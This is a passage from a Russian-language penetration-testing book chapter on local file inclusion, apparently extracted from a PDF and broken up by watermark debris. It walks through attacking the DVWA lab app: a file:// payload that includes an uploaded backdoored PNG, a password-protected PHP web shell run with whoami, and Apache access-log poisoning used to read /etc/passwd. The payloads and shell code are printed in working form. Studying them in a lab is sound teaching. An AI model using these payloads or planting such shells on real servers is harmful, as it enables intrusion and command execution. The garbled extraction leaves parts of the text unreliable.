hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 124  Глава 5.Внедрение файлов

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

вающей на каталог hackable/uploads, о котором так любезно рассказала нам

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

страница загрузки файла.

В системах Linux можно строить обоснованные предположения относительно того, где на диске находится корневая папка. Основной кандидат – /var/www/html/. Мы можем подтвердить, что оболочка доступна через схему file://, используя приведенную ниже полезную нагрузку для параметра page при вызове уязвимого URL-адреса:

http://dvwa.app.internal/vulnerabilities/fi/?page=file:///var/www/html/ hackable/uploads/shell.png

Модуль Repeater поможет нам инициировать и проверить результаты эксплуатации­ этой уязвимости, как показано на рисунке.

Рис.5.6. Успешное включение PNG-файла с бэкдором с использованием локального включения файлов

Выглядит неплохо. В левом столбце находится необработанный HTTPзапрос методом GET к уязвимой странице с использованием схемы file:// и абсолютного пути к shell.png для параметра page. В правом столбце ответ сервера, похоже, указывает на то, что файл был внедрен, а добавленный к нему исходный код PHP не отображается. Это означает, что он либо выполнен, либо удален функцией сжатия или обрезки, что означало бы неудачу, но можно быстро­ увидеть,успешно ли выполняется код,попытавшись инициировать оболочку с помощью URL-адреса.

Загруженная оболочка выполнит командные строки, переданные через параметрcmd,имыможемдобавитькомандуоперационнойсистемыwhoami к нашей предыдущей полезной нагрузке и наблюдать за выводом модуля Repeater. Мы также должны предоставить ожидаемый пароль через параметр password, как показано на рисунке.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Локальное внедрение файлов 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

125 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

-

 

n

e

 

 

 

 

 

x cha

 

 

 

 

Рис.5.7. Зараженный PNG-файл успешно выполняет команду оболочки после локального включения файла

Получилось! Теперь код выполнятся в системе, используя две уязвимости: плохой контроль загрузки файлов и локальное внедрение файлов. В столбце Request модуля Repeater выделена команда whoami,которая передается уязвимому приложению,а ответсервера подтверждает,что мыдостигли своей цели, отобразив пользователя www-data в качестве контекста приложения.

Вслучае с уязвимостями, подверженными локальному внедрению файлов, сопутствующая функция загрузки файлов не всегда обязательна.Есть и другие способы заставить приложение выполнить код. Если невозможно использовать удаленное внедрение файлов, функция загрузки файла отсутствует или

кзагружаемому файлу нельзя получить доступ с помощью функции include, нужно выполнять код более креативно.

Вотличие от полезной нагрузки file://,которая ищет загруженную оболочку, можем ссылаться на другой файл в системе, содержимое которого контролируем до некоторой степени. Веб-серверы Apache по умолчанию генерируют файл access.log где-то на диске.Этот файл содержит каждый запрос,отправленный приложению,втом числе URL.Покопавшисьв Google,узнаем,что этот файл обычно находится в /var/log/apache2 или /var/log/httpd.

Поскольку мы не можем загрузить нашу оболочку с помощью функции загрузки файлов, отправим ее исходный код через URL-адрес. Apache запишет попытку запроса в файл access.log,и мы можем внедрить этот файл,используя уязвимость, подверженную локальному внедрению файлов. Будет выведено множество разного мусора, но более важно то, что когда PHP встретит наш тег <?php, он приступит к выполнению кода.

Мы можем передать нашу оболочку с помощью простого HTTP-запроса методом GET к приложению (см. рис. 5.8).

Ответсервера не имеетзначения,поскольку файлaccess.log уже поражен.На сервере приложения мы можем подтвердить,что оболочка была записана в файл журнала,выполнив поиск с использованием команды grep,как показано ниже.

root@dvwa:/# grep system /var/log/apache2/access.log 172.17.0.1 - - "GET /<?php if (md5($_GET['password']) ==

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 126  Глава 5.Внедрение файлов

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

'f1aab5cd9690adfa2dde9796b4c5d00d') { system($_GET['cmd']); } ?>

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

HTTP/1.1" 404 463 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0)

Gecko/20100101 Firefox/52.0"

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.5.8. Отправка нашего PHP-кода оболочки в журнал

сервера приложений через GET-запрос

Осталосьтолько использоватьлокальное внедрение файлов и заставитьPHP выполнять любой код из файла журнала. Как и прежде, мы должны предоставить правильный пароль через запрос методом GET. Наша полезная нагрузка будет содержать схему file:// и абсолютный путь к файлу Apache access.log, /var/log/apache2/access.log,пароль оболочки и команду для просмотра содержимого файла /etc/passwd.Поскольку эта команда отправляется через параметр GET-запроса, нужно преобразовать пространство между cat и /etc/ passwd, используя знак плюс.

Рис.5.9. Удаленное выполнение кода через локальное внедрение файла и «отравленные» файлы журнала Apache